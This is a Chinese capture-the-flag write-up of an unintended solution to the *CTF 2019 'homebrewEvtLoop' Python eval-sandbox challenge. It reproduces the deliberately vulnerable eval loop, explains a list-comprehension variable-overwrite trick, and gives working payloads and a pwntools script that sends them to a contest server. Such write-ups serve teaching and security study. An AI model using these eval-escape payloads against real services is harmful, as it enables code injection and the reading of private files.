先放上官方预期的解法:https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop
赛后一个非预期解法,更体现了python代码的魅力,下面是分析,如有错误,欢迎师傅们斧正
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import sys
import hashlib
import random
# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{[0-9a-zA-Z_[]]+}'
def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret
def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper
def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'
# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)
# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'
def ping_handler(args):
return 'pong'
def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))
if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')
while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break
for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)
event, args = event.split('114514')
args = args.split('114514')
try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'
先上exp
[[reload][0]for[args]in[[sys]]][0]114514x
[[input][0]for[args]in[[session]]][0]114514x
刚拿到题目,就是2019-ddctf的升级版homebrew event loop可是这里并没有有用的函数。
刚看到exp,可能有点不理解,下面一步一步分析
题目限制了输入只能是大小写字母加数字加_[],这里我们得到[reload][0]是一个reload函数,先不解释为什么要用[reload][0],后面分析之后就会一目了然。
先解释一下为什么要用for[args]in[[sys]],这里用到了大家熟知的列表生成器。
参考:列表生成式
>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]
逐个取出为x 然后用xx作用一遍之后生成新的list
可能有人会问?这里args可以换成别的字符吗?按道理换成别的字符也是可以的,但是这道题目不行,需要对应下面那条语句: *print handler(args)
这里可能又会问,这一条语句跟上面有啥关系?先来一个demo
>>> a = "Decade"
>>> b = [{'log':'FLAG'}]
>>> for a in b:
... pass
...
>>> a
{'log': 'FLAG'}
一针见血,这里a竟然被覆盖了。所以上面不能把args换成别的字符,原因就在于此。可能又会有人问,这一句的作用是为啥?就算是覆盖了,上面已经通过列表生成器重载了sys,然而神奇的是这里并没有。
>>> def aaa(c):
... print c
...
>>> import sys
>>> args="sss"
>>> d = eval('[[aaa][0]for[args]in[[sys]]][0]')
>>> d
<function aaa at 0x7f501cc0d500>
>>> args
<module 'sys' (built-in)>
>>> d(args)
<module 'sys' (built-in)>
>>> eval('[[aaa][0]for[args]in[[sys]]][0]')
<function aaa at 0x7f501cc0d500>
可以看到这里eval之后得到是aaa函数,这里并没有重载,[[reload][0]for[args]in[[sys]]][0] 这一整句的目的既为了得到reload函数,又为了覆盖掉args,然后通过 print handler(args) 达到重载的目的。回到最先的问题,这里用[reload][0],是为了绕过空格,很容易想到mysql注入的时候通过(xx)来绕过空格的情景,于是通过 [[input][0]for[args]in[[session]]][0]114514x拿到flag
from pwn import *
import hashlib
import time
def check(p):
s = p.recvuntil('"')
s = p.recvuntil('"')
s = s[0:-1]
p.recvuntil('> ')
for i in range(0x100):
for j in range(0x100):
t = chr(i) + chr(j)
if hashlib.sha1(t).hexdigest().startswith(s):
p.sendline(t)
#print(t.encode('hex'))
return
context.log_level = 'error'
payload0 = '[[reload][0]for[args]in[[sys]]][0]114514x'
payload1 = '[[input][0]for[args]in[[session]]][0]114514x'
payload2 = 'load_flag_handler114514x'
payload3 = '[[input][0]for[args]in[[session]]][0]114514x'
p = remote('34.92.121.149','54321')
check(p)
print('check1 ok!')
time.sleep(0.5)
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload0)
time.sleep(0.5)
p.recvline()
check(p)
print('check2 ok!')
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload1)
time.sleep(0.5)
print(p.recv())
第二题的升级版同样可以用此方法来获取flag,前面可以看到,我们其实达到了类似变量覆盖的效果,下面我就不细心分析。
[[reload][0]for[args]in[[sys]]][0]114514x
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
发表评论
您还未登录,请先登录。
登录